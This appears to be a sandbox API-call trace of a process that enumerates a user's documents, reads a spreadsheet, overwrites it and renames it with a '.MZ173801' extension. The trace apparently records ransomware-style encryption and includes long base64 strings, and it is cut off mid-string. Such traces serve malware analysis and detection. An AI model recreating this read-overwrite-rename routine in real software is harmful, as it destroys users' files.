[0124.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.947] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x5276e9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0cd, ftLastWriteTime.dwLowDateTime=0x5276e9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0124.947] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x5276e9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0cd, ftLastWriteTime.dwLowDateTime=0x5276e9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.947] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5127f0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x3bb50d00, ftLastAccessTime.dwHighDateTime=0x1d5e69e, ftLastWriteTime.dwLowDateTime=0x3bb50d00, ftLastWriteTime.dwHighDateTime=0x1d5e69e, nFileSizeHigh=0x0, nFileSizeLow=0x13ffe, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="13nJq0p.xlsx", cAlternateFileName="13NJQ0~1.XLS")) returned 1 [0124.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0124.947] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\13nJq0p.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\13njq0p.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5127f0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x3bb50d00, ftLastAccessTime.dwHighDateTime=0x1d5e69e, ftLastWriteTime.dwLowDateTime=0x3bb50d00, ftLastWriteTime.dwHighDateTime=0x1d5e69e, nFileSizeHigh=0x0, nFileSizeLow=0x13ffe)) returned 1 [0124.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.950] GetCurrentThreadId () returned 0x9fc [0124.950] GetCurrentThreadId () returned 0x9fc [0124.950] GetCurrentThreadId () returned 0x9fc [0124.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.951] GetCurrentThreadId () returned 0x9fc [0124.951] GetCurrentThreadId () returned 0x9fc [0124.951] GetCurrentThreadId () returned 0x9fc [0124.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\13nJq0p.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\13njq0p.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.951] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.951] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.951] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x13ffe [0124.952] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.952] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0x13ffe, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x13ffe, lpOverlapped=0x0) returned 1 [0124.953] CloseHandle (hObject=0x298) returned 1 [0124.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\13nJq0p.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\13njq0p.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.957] WriteFile (in: hFile=0x298, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x13ffe, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f404*=0x13ffe, lpOverlapped=0x0) returned 1 [0124.959] CloseHandle (hObject=0x298) returned 1 [0124.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\13nJq0p.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\13njq0p.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\13nJq0p.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\13njq0p.xlsx.mz173801")) returned 1 [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] GetCurrentThreadId () returned 0x9fc [0124.960] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b662a0, ftCreationTime.dwHighDateTime=0x1d5dcc8, ftLastAccessTime.dwLowDateTime=0xc29b8280, ftLastAccessTime.dwHighDateTime=0x1d5e6b8, ftLastWriteTime.dwLowDateTime=0xc29b8280, ftLastWriteTime.dwHighDateTime=0x1d5e6b8, nFileSizeHigh=0x0, nFileSizeLow=0xf809, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="dxtxj-CI.odp", cAlternateFileName="")) returned 1 [0124.960] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.960] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.960] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b3e0e10, ftCreationTime.dwHighDateTime=0x1d5e4b0, ftLastAccessTime.dwLowDateTime=0x8c371da0, ftLastAccessTime.dwHighDateTime=0x1d5d860, ftLastWriteTime.dwLowDateTime=0x8c371da0, ftLastWriteTime.dwHighDateTime=0x1d5d860, nFileSizeHigh=0x0, nFileSizeLow=0x7877, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="I2Gqc.pdf", cAlternateFileName="")) returned 1 [0124.960] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.960] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\I2Gqc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\i2gqc.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b3e0e10, ftCreationTime.dwHighDateTime=0x1d5e4b0, ftLastAccessTime.dwLowDateTime=0x8c371da0, ftLastAccessTime.dwHighDateTime=0x1d5d860, ftLastWriteTime.dwLowDateTime=0x8c371da0, ftLastWriteTime.dwHighDateTime=0x1d5d860, nFileSizeHigh=0x0, nFileSizeLow=0x7877)) returned 1 [0124.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMT